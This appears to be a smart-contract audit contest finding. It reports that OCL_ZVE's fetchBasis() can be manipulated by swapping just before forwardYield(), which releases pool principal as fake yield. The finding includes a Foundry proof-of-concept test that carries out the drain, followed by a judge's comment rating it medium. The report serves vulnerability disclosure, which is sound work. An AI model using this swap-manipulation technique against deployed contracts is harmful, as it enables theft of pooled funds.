SilverChariot - `OCL_ZVE` basis can be manipulated leading to loss of funds

[sherlock-admin3]

SilverChariot

high

OCL_ZVE basis can be manipulated leading to loss of funds

Summary

OCL.fetchBasis() can be manipulated to return a wrong value by executing a swap right before it's called.

Vulnerability Detail

The fetchBasis() function returns the amount of pairAssets that's redeemable for 1 unit of LP tokens. It does so by multiplying the pool's pairAsset balance by the ratio lpOwned/totalLp. The contract uses it to retrieve the amount of earned fees in pairAsset.

        uint256 pairAssetBalance = IERC20(pairAsset).balanceOf(pool);
        amount = lp * pairAssetBalance / poolTotalSupply;

The problem is that IERC20(pairAsset).balanceOf(pool) can easily be manipulated by executing a swap before fetchBasis() is called. If the attacker wants to decrease the basis, they would swap ZVE for pairAsset, and if they want to increase the basis, they would swap pairAsset for ZVE. This wrong accounting can lead to severe consequences.

An attacker can frontrun forwardYield() by providing a large amount of pairAsset. This will make the following if statement execute:

        (uint256 amount, uint256 lp) = fetchBasis();
        if (amount > basis) { _forwardYield(amount, lp); }

_forwardYield calculates the amount of LP tokens to be burned, which is equal to the difference between the manipulated amount and the stored basis (ignoring the compoundingRateBIPS for simplicity). Therefore, the attacker has control over how many of the assets in the UNI/SUSHI pool will be withdrawn and sent to the YDL for distributing. This can result in massive losses for the OCL_ZVE.

        uint256 lpBurnable = (amount - basis) * lp / amount * (BIPS - compoundingRateBIPS) / BIPS;
        ...
        (uint256 claimedPairAsset, uint256 claimedZVE) = IRouter_OCL_ZVE(router).removeLiquidity(
            pairAsset, ZVE, lpBurnable, 0, 0, address(this), block.timestamp + 14 days
        );

There also exist the other case - where an attacker makes fetchBasis return a small number to stop yield distribution, but I think the other case is more severe.

Impact

Stealing funds from the UNI/SUSHI pool if basis is increased. If the basis is decreased, other problems will emerge, one of which is the ability to stop yield distribution.

Code Snippet

POC to add to Test_OCL_ZVE.sol

First add this interface

interface IRouter {
        function swapExactTokensForTokens(uint,uint,address[] memory,address,uint) external returns (uint[] memory);
}

Then, put this function in the test file.

    function test_steal_by_forwarding() public {
        address[] memory assets = new address[](2);
        uint256[] memory amounts = new uint256[](2);

        assets[0] = DAI;
        assets[1] = address(ZVE);

        // Initiate the pool 1:1
        amounts[0] = 2000 ether;
        amounts[1] = 2000 ether;

        IFactory_OCL_ZVE factory = IFactory_OCL_ZVE(OCL_ZVE_UNIV2_DAI.factory());
        address router = OCL_ZVE_UNIV2_DAI.router();

        assert(
                god.try_pushMulti(
                    address(DAO),
                    address(OCL_ZVE_UNIV2_DAI),
                    assets,
                    amounts,
                    new bytes[](2)
                )
        );

        address pair = factory.getPair(DAI, address(ZVE));

        // Yield of 10e18
        deal(DAI, address(pair), 2010e18);
        deal(address(ZVE), address(this), 2010e18);

        deal(DAI, address(0xb0b), 2000e18);

        assertEq(IERC20(DAI).balanceOf(address(GBL.YDL())), 0);
        // The compounding is set to 50%, so only 5e18 DAI should be withdrawn forwarded as yield
        assertEq(OCL_ZVE_UNIV2_DAI.compoundingRateBIPS(), 5000);

        // Add 2000e18 DAI to the pool by swapping for ZVE
        vm.startPrank(address(0xb0b));
        IERC20(DAI).approve(router, 2000e18);
        IRouter(router).swapExactTokensForTokens(2000e18, 0, assets, address(0xb0b), block.timestamp + 1);

        // Skip time until the next distribution
        hevm.warp(OCL_ZVE_UNIV2_DAI.nextYieldDistribution() + 1);

        OCL_ZVE_UNIV2_DAI.forwardYield();

        assets[0] = address(ZVE);
        assets[1] = DAI;

        ZVE.approve(router, ZVE.balanceOf(address(0xb0b)));
        IRouter(router).swapExactTokensForTokens(ZVE.balanceOf(address(0xb0b)), 0, assets, address(0xb0b), block.timestamp + 1);

        assertGt(IERC20(DAI).balanceOf(address(GBL.YDL())), 1000 ether);
    }

Tool used

Foundry

Recommendation

The whole fee tracking mechanism has to be redesigned.

Duplicate of #296

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

panprog commented:

medium, dup of #296, allows to distribute almost entire principal as if it's yield, leaving the locker with almost no funds. Since forwardYield will usually be called by keepers, who will use flashbots thus making frontrunning out of scope, this is medium. User can still call forwardYield but only if keeper didn't call it in the 12 hours prior to end of period, so this requires additional conditions.